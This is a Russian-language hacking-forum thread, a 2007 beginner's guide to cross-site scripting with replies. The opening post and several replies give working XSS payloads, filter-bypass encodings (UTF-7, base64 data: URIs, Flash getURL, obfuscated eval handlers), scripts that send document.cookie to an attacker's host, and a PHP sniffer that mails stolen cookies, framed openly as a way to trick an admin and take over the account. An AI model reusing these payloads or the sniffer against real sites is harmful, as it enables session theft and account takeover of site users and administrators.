Авторские статьи Cross Site Scripting для новичков

Discussion in 'Статьи' started by _Pantera_, 9 Jul 2007.

  1. _Pantera_

    _Pantera_ Характерне козацтво

    Joined:
    6 Oct 2006
    Messages:
    186
    Likes Received:
    356
    Reputations:
    109
    Cross Site Scripting для новичков​

    Целью являеться объединение всех начальных тем про XSS. Статью писал от себя, накопленными мной знаниями, некоторые моменты были взяты с разных источников.

    Кто выше МОА или знаком с XSS идем сюда


    Начнем с самого начала

    Для обнаружения XSS необходимо во все поля вписать следующий скрипт
    PHP:
    <script>alert()</script>
    Если она не сработала, это еще не значит что ее там нет. Смотрим сорс странички и видим примерно следующие:
    PHP:
    <a href="index.php?id=1<script>alert()</script>">2</a>
    Из примера видно что файлу index.php с параметром id передаеться 1<script>alert()</script>. Это как раз то что нам надо. Для того что б скрипт сработал необходимо закрыть тег. Это можно сделать передав парамету id значение "><script>alert()</script>
    После закрытия код выглядит вот так:
    PHP:
    <a href="index.php?id=1"><script>alert()</script>">2</a>
    и мы видим алерт, который сообщает нам что уязвимость присутствует. Иногда бывает так, что стандартный способ не проходит, тогда пробуем подставить
    PHP:
    <IMG SRC="javascript:alert();
    Но и это не всегда проходит, так как веб-мастера тоже не лохи, они фильтруют или вырезают спецальные символы. Для обхода можно использовать способ, который описал Algol. Кодировать будем кодировкой UTF-7.

    В ней используються символы: +,-,!,буквы латинского алфавита и цыфры, а они обычно не фильтруються :)
    Но к сажелению этот способ работает только под IE, и у вас должен стоять автовыбор кодировки.
    Пример работы можете посмотреть здесь
    PHP:
    +ADw-script+AD4-alert();+ADw-/script+AD4
    < кодируется как +ADw-
    > кодируется как +AD4-
    Более подробно можно почитать здесь
    Ну что ж, а что с этим делать спросите вы? - а вот что:
    Теперь выскочил не просто алерт, в нем записаны ваши куки. Но цель то наша не посмотреть наши куки,
    а угнать чужие.

    Делаеться это так:
    Когда жертва пройдет по ссылке, его куки будут отправленны вам на почу. Это все конечно хорошо, но
    ссылка со скриптом в таком виде будет выглядить очень подозрительной, для этого необходимо ее закодировать в url кодировку.
    Теперь скрипт будет выгледить вот так:
    PHP:
    %3C%73%63%72%69%70%74%3E%69%6D%67%20%3D%20%6E%65%77%20%49%6D%61%67%65%28%29%3B%20%69%6D%67%2E%73%72%63%20%3D%20%22%68%74%74%70%3A%2F%2F%76%61%73%68%2D%73%69%74%65%2E%72%75%2F%69%6D%61%67%65%2E%67%69%66%3F%22%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B%3C%2F%73%63%72%69%70%74%3E
    Но можно еще сделать по другому, а именно создать на своем сайте файлик 1.js в него вписать
    PHP:
    img=new Image(); img.src="http://vash-site.ru/image.gif?"+document.cookie;
    и давать уже ссылку на наш скрипт
    PHP:
    http://www.site.ru/index.php?id=<script src=http://vash-site.ru/1.js></script>
    или закодированный вариант
    PHP:
    http://www.site.ru/index.php?id=%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%76%61%73%68%2D%73%69%74%65%2E%72%75%2F%31%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E
    как видите, такая ссылка менее подозрительно и впарить ее админу намного легче, вот пример:
    Очень короткий разговор, но очень надежный. Люди по своей натуре очень любопытны, а тем более когда дело косаеться ихней собственности.
    Вот таким вот довольно простым способом мы угнали куки админа. Теперь остается их заменить, и вы админ =)

    С активными XSS дело намного проще.
    На форумах все предстоит по другому. Разрешены только BB-теги. Достаточно неплохо о них написал Micr0b. Читать тут

    XSS нападения через протокол DATA

    Наверняка многие из вас не слышали о данном методе атак.
    Что б было понятно я расскажу о нем на примере.
    Как видите, в алерте отобразились наши куки =)
    Смысл в том, что мы кодируем наш скрипт кодировкой base64, в данном случае <script>alert(document.cookie)</script>
    и выполняем его. Прелесть этого вида атаки в том, что XSS есть даже когда на сайте стоят фильтры.
    проверялась под Firefox/2.0.0.4

    XSS нападение через Flash-анимации

    Заключаеться в следующем.
    1. Находим сайт, где разрешено публичное добовление Flesh мультика
    2. Откроем Macromedia Flash
    3. Жмем правой кнопкой мыши по первому кадру и выбираем в появившемся меню Actions
    4. Вписываем
    PHP:
    getURL("javascript:alert()")
    и сохраняем
    Впринцыпе у нас получиться активная XSS необходимо просто для пользы alert() заменить на код снифера =)



    PS 1.1 надеюсь статья поможет новичкам, старался расписать все доступным языком. пользовался матерьялами forum.antichat.ru, www.inattack.ru.
    1.2 Прежде чем написать что это боян и копи-паст читаем пункт 1.1
     
    #1 _Pantera_, 9 Jul 2007
    Last edited: 10 Jul 2007
    18 people like this.
  2. freddi

    freddi Elder - Старейшина

    Joined:
    5 Jul 2006
    Messages:
    399
    Likes Received:
    243
    Reputations:
    145
    допиши еще про заливку всяких файлов (картинки, txt, pdf) со скриптом.
     
    2 people like this.
  3. _Pantera_

    _Pantera_ Характерне козацтво

    Joined:
    6 Oct 2006
    Messages:
    186
    Likes Received:
    356
    Reputations:
    109
    Хорошим примером послужит бывшая XSS на mail.ru. Работала она под IE.
    Брался простой txt файл и в него прописывался
    PHP:
    <script>alert()</script>
    сохранялся и переименовывался в *.jpg
    Далее хакер отправлял письмо, только не с алертом, а с снифером и получал куки жертвы.
     
    2 people like this.
  4. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Почитал бы про подробную реализацию во Феше с помошь action script.
     
  5. Digimortal

    Digimortal Banned

    Joined:
    22 Aug 2006
    Messages:
    471
    Likes Received:
    248
    Reputations:
    189
    invlose верно говорит : использовать XSS нападения через протокол DATA таким образом, как это описано в статье не выйдет => автор сам не разобрался в том о чем пишет => зачем тогда писать ??
    все описано в статье очень и очень поверхностно, и почему-то весьма напоминает вот это: http://www.cyberinfo.ru/index.php?newsid=1078
    =/
     
    1 person likes this.
  6. _Pantera_

    _Pantera_ Характерне козацтво

    Joined:
    6 Oct 2006
    Messages:
    186
    Likes Received:
    356
    Reputations:
    109
    Ребята, та мне наплевать что вам не понравилось. Я рад что моя статья помогла новичкам. А насчет нападения через протокол DATA попробуйте убрать пробелы.

    ps Я никогда не пишу того, что не понимаю.
     
  7. Digimortal

    Digimortal Banned

    Joined:
    22 Aug 2006
    Messages:
    471
    Likes Received:
    248
    Reputations:
    189
    >> А насчет нападения через протокол DATA попробуйте убрать пробелы.

    хмм.. в каком браузере и какой его версии ты увидел свои куки через self-contained xss?
     
  8. _Pantera_

    _Pantera_ Характерне козацтво

    Joined:
    6 Oct 2006
    Messages:
    186
    Likes Received:
    356
    Reputations:
    109
    Юзаю только FireFox
     
  9. Digimortal

    Digimortal Banned

    Joined:
    22 Aug 2006
    Messages:
    471
    Likes Received:
    248
    Reputations:
    189
    >> Юзаю только FireFox

    версия?
     
  10. _Pantera_

    _Pantera_ Характерне козацтво

    Joined:
    6 Oct 2006
    Messages:
    186
    Likes Received:
    356
    Reputations:
    109
    Куки приходят, я проверял. Делаеться следующим образом
    1 кодируеться в base64
    PHP:
    <script>img = new Image(); img.src "http://site.ru/image.gif?"+document.cookie;</script>
    получаеться
    PHP:
    PHNjcmlwdD5pbWcgPSBuZXcgSW1hZ2UoKTsgaW1nLnNyYyA9ICJodHRwOi8vc2l0ZS5ydS9pbWFnZS5naWY/Iitkb2N1bWVudC5jb29raWU7PC9zY3JpcHQ+
    2 Вписуеться в окно браузера
    PHP:
    data:text/html;base64,PHNjcmlwdD5pbWcgPSBuZXcgSW1hZ2UoKTsgaW1nLnNyYyA9ICJodHRwOi8vc2l0ZS5ydS9pbWFnZS5naWY/Iitkb2N1bWVudC5jb29raWU7PC9zY3JpcHQ+
    3 нажимаеться ENTER и куки приходят, в моем случае на мыло

    Firefox/2.0.0.4 думаю на других работать тоже должно
     
    1 person likes this.
  11. Digimortal

    Digimortal Banned

    Joined:
    22 Aug 2006
    Messages:
    471
    Likes Received:
    248
    Reputations:
    189
    мдя, в ФФ1.5 и в minefild - срабатует нормально => ее можно считать браузерозависимой xss
    в операх от 8 до 9-й версии такого эффекта не наблюдается.. (хотя и можно некоторым образом ее использовать)
    а ie вообще data не поддерживает..

    беру свои слова насчет, того, что ты не разобрался в этой xss назад,
    но все же, статья получилась поверхностной и недоработанной: когда работаешь с xss - проверять ее работоспособность на наиболее популярных браузерах имхо ПРОСТО ОБЯЗАТЕЛЬНО.. если б ты проделал подобную работу сейчас бы не было тут наших споров и статья бы имела большую полезность..
     
  12. Zitt

    Zitt Elder - Старейшина

    Joined:
    7 May 2006
    Messages:
    736
    Likes Received:
    268
    Reputations:
    59
    имхо зря вы на него накинулись, афтор не задавался целью описать все апекты xss в подробностях.... ТО что надо для первого ознакомления и понимая сути присутствует....


    (с) http://www.cyberinfo.ru/index.php?newsid=1078

    Куки алертицца)
     
    #12 Zitt, 10 Jul 2007
    Last edited: 10 Jul 2007
  13. gemaglabin

    gemaglabin Green member

    Joined:
    1 Aug 2006
    Messages:
    772
    Likes Received:
    842
    Reputations:
    1,369
    На античате тысяча и одна статья как пихать <script>alert()</script , но никто не копает глубже.Вам не надоело писать одно и тоже ТЫСЯЧУ раз?

    Code:
    onclick='123["e"[0]+"v"[0]+"a"[0]+"l"[0]](alert(/1/))
    onclick='open*eval*(alert(/1/))
    onclick=top['ev'["con"+"cat"]('al')](alert(/1/))
    
     
    #13 gemaglabin, 10 Jul 2007
    Last edited: 10 Jul 2007
  14. +toxa+

    +toxa+ Smack! SMACK!!!

    Joined:
    16 Jan 2005
    Messages:
    1,674
    Likes Received:
    1,029
    Reputations:
    1,228
    А там написано что-то новое?)))
     
    _________________________
  15. slider

    slider Reservists Of Antichat

    Joined:
    4 Sep 2005
    Messages:
    501
    Likes Received:
    711
    Reputations:
    748
    можно и просто так... на любых браузерах...
     
    4 people like this.
  16. ettee

    ettee Administrator
    Staff Member

    Joined:
    12 Oct 2006
    Messages:
    466
    Likes Received:
    1,036
    Reputations:
    1,065
    Data -протокол (IE его не поддерживает), это относится к уязвимости ПО (Опера и к браузерам построенных на движке Gecko).
     
    _________________________
    #16 ettee, 14 Jul 2007
    Last edited: 17 Jan 2010
  17. cleric.80

    cleric.80 Elder - Старейшина

    Joined:
    28 Mar 2008
    Messages:
    523
    Likes Received:
    243
    Reputations:
    14
    кул, я добрался до XSS )
    тока вопросы появились, помогите ?
    - создал файлы : s.php, image.gif, .htaccess, 1.js, залил на хост,
    вопрос 1 (содержимое файла 1.js) :
    img=new Image(); img.src="http://cleric.16mb.com/image.gif?"+document.cookie; - так правильно ?

    вопрос 2 "скрипт, который крадет куки. Вот он:" :
    <script>img = new Image(); img.src = "http://cleric.16mb.com/image.gif?"+document.cookie;</script> - так ?

    вопрос 3 "и давать уже ссылку на наш скрипт" :
    http://www.site.ru/index.php?id=<script src=http://vash-site.ru/1.js></script> - как будет выглядеть в моем случае ? если сайт где все лежит такой : http://cleric.16mb.com/index.html
     
  18. cleric.80

    cleric.80 Elder - Старейшина

    Joined:
    28 Mar 2008
    Messages:
    523
    Likes Received:
    243
    Reputations:
    14
    докрутил s.php и вот что приходит..
    IP: xx.xxx.x.xxx
    Adress:
    Query:
    что я сделал не так или не докрутил
     
  19. cleric.80

    cleric.80 Elder - Старейшина

    Joined:
    28 Mar 2008
    Messages:
    523
    Likes Received:
    243
    Reputations:
    14
    s.php :
    <?php
    $ip = UrlDecode(getenv('REMOTE_ADDR'));
    $referer = UrlDecode(getenv('HTTP_REFERER'));
    $query = UrlDecode(getenv('QUERY_STRING'));
    mail("[email protected]", "Cookie", "IP: $ip\n Adress: $referer\n Query: $query");
    ?>

    а вот результат на почту приходит :
    IP: 85.115.248.xxx
    Adress:
    Query:

    вопрос где куки и как оне выглядят то ?
     
  20. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    Посмотри в Опере куки, если там есть от нужного сайта, то ошибка у тебя, если нет(я почти уверен в этом), то на мыло соответственно ничего не приходить ;)

    P.S. Если не получается перечитай первый пост внимательно.
    P.S.S 111-сообщение.